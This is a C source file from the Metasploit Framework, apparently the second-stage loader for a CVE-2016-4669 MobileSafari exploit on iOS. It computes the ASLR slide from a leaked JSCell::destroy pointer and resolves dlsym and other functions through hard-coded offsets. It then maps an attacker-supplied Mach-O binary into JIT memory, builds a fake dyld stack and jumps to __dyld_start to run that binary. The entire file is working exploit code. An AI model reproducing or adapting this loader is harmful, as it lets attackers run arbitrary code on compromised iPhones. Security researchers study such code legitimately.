metasploit-framework/external/source/exploits/CVE-2016-4669/loader.c

191 lines
4.9 KiB
C

// [1] https://iokit.racing/machotricks.pdf
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <dlfcn.h>
#include <mach-o/loader.h>
#include <mach-o/swap.h>
#include <mach-o/dyld_images.h>
#include <mach/mach.h>
// targeting a specific version of os
// on a specific device we can use hard coded
// offsets
#define JSCELL_DESTROY 0x2e49e345
// this one was extracted at runtime, cause
// the one from the ipsw was not the same as on the phone
#define DLSYM_BASE 0x381227d0
#define DYLD_START 0x1028
#define MINU(a,b) ((unsigned)(a) < (unsigned)(b) ? a : b)
typedef void * (* dlsym_t)(void *restrict handle, const char *restrict name);
typedef int (* printf_t)(const char * format, ... );
typedef unsigned int (* sleep_t)(unsigned int seconds);
typedef int (* _fprintf)(FILE *stream, const char *format, ...);
typedef void * (* dlopen_t)(const char* path, int mode);
typedef void * (* malloc_t)(size_t size);
typedef kern_return_t (* task_info_fn_t)(task_t target_task,
int flavor, task_info_t task_info,
mach_msg_type_number_t *task_info_count);
typedef mach_port_t (* mach_task_self_t)(void);
typedef char (* strcpy_t)(char *dest, const char *src);
// @see dyldStartup.s
struct dyld_params
{
void *base;
// this is set up to have only one param,
// binary name
unsigned argc;
// bin name and NULL
void * argv[2];
// NULL
void * env[1];
// NULL
void * apple[2];
char strings[];
};
void next(uintptr_t JSCell_destroy, void *macho, unsigned pc);
void __magic_start() {
asm("mov r0, #0");
asm("mov r0, #0");
asm("mov r0, #0");
asm("mov r0, #0");
}
// In the MobileSafari part we place two arguments
// right before the first instruction of the loader.
// Extract them and place them as next arguments
__attribute__((naked)) void start()
{
asm("ldr r1, [pc,#-0xC]");
asm("ldr r0, [pc,#-0xC]");
asm("mov r2, pc");
asm("b _next");
}
static void __copy(void *dst, void *src, size_t n)
{
do {
*(char *)dst = *(char *)src;
dst++;
src++;
} while (--n);
}
// We map macho file into jit memory.
// The details are outlined in [1].
void * map_macho(void *macho, void *base)
{
void *macho_base = (void *)-1;
struct mach_header *header = macho;
union {
struct load_command *cmd;
struct segment_command *segment;
void *p;
unsigned *u32;
} commands;
commands.p = macho + sizeof(struct mach_header);
// we assume that the loading address is 0
// since we are in control of macho file
for (int i=0; i<header->ncmds; i++) {
// LC_SEGMENT command
if (commands.cmd->cmd == 1) {
if (commands.segment->filesize == 0)
goto next_cmd;
macho_base = MINU(macho_base, base + commands.segment->vmaddr);
__copy(base + commands.segment->vmaddr,
macho + commands.segment->fileoff,
commands.segment->filesize);
}
next_cmd:
commands.p += commands.cmd->cmdsize;
}
return macho_base;
}
void next(uintptr_t JSCell_destroy, void *macho, unsigned pc)
{
// structure describing the stack layout
// expected by the macho loader of ios
//
// The detail are in dyldStartup.s file of dyld source code.
// https://opensource.apple.com/source/dyld/dyld-421.1/src/dyldStartup.s.auto.html
struct dyld_params *__sp;
// resolve functions we are going to use
unsigned slide = JSCell_destroy - JSCELL_DESTROY;
dlsym_t _dlsym = (dlsym_t)(DLSYM_BASE + slide + 1);
malloc_t _malloc = _dlsym(RTLD_DEFAULT, "malloc");
strcpy_t _strcpy = _dlsym(RTLD_DEFAULT, "strcpy");
task_info_fn_t _task_info = _dlsym(RTLD_DEFAULT, "task_info");
mach_task_self_t _mach_task_self = _dlsym(RTLD_DEFAULT, "mach_task_self");
mach_port_t self = _mach_task_self();
task_dyld_info_data_t info;
struct dyld_all_image_infos *infos;
// We need __dyld_start address to load a macho file,
// We call task_info to get dyld base and use hard coded offset
// to get __dyld_start pointer.
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
kern_return_t kr = _task_info(self, TASK_DYLD_INFO, (task_info_t)&info, &count);
infos = (struct dyld_all_image_infos *)info.all_image_info_addr;
void *dyld = (void *)infos->dyldImageLoadAddress;
void (* __dyld_start)() = (dyld + DYLD_START);
// get page aligned address a bit further after
// the loader and map the macho down there.
void *base = (void *) (pc & ~PAGE_MASK);
base += 0x40000;
base = map_macho(macho, base);
// allocate stack for out executable
__sp = _malloc(0x800000) + 0x400000;
// setup up our fake stack
__sp->base = base;
__sp->argc = 1;
__sp->argv[0] = &__sp->strings;
__sp->argv[1] = NULL;
__sp->env[0] = NULL;
__sp->apple[0] = &__sp->strings;
__sp->apple[1] = NULL;
// it's required to have argv[0]
_strcpy(__sp->strings, "/bin/bin");
// call __dyld_start
__asm__ ("ldr r0, %[f];"
"ldr r1, %[v];"
"mov sp, r1;"
"bx r0;"
: // no output
: [v]"m"(__sp), [f]"m"(__dyld_start)
);
}
#if 1
void __magic_end() {
asm("mov r0, #1");
asm("mov r0, #1");
asm("mov r0, #1");
asm("mov r0, #1");
}
#endif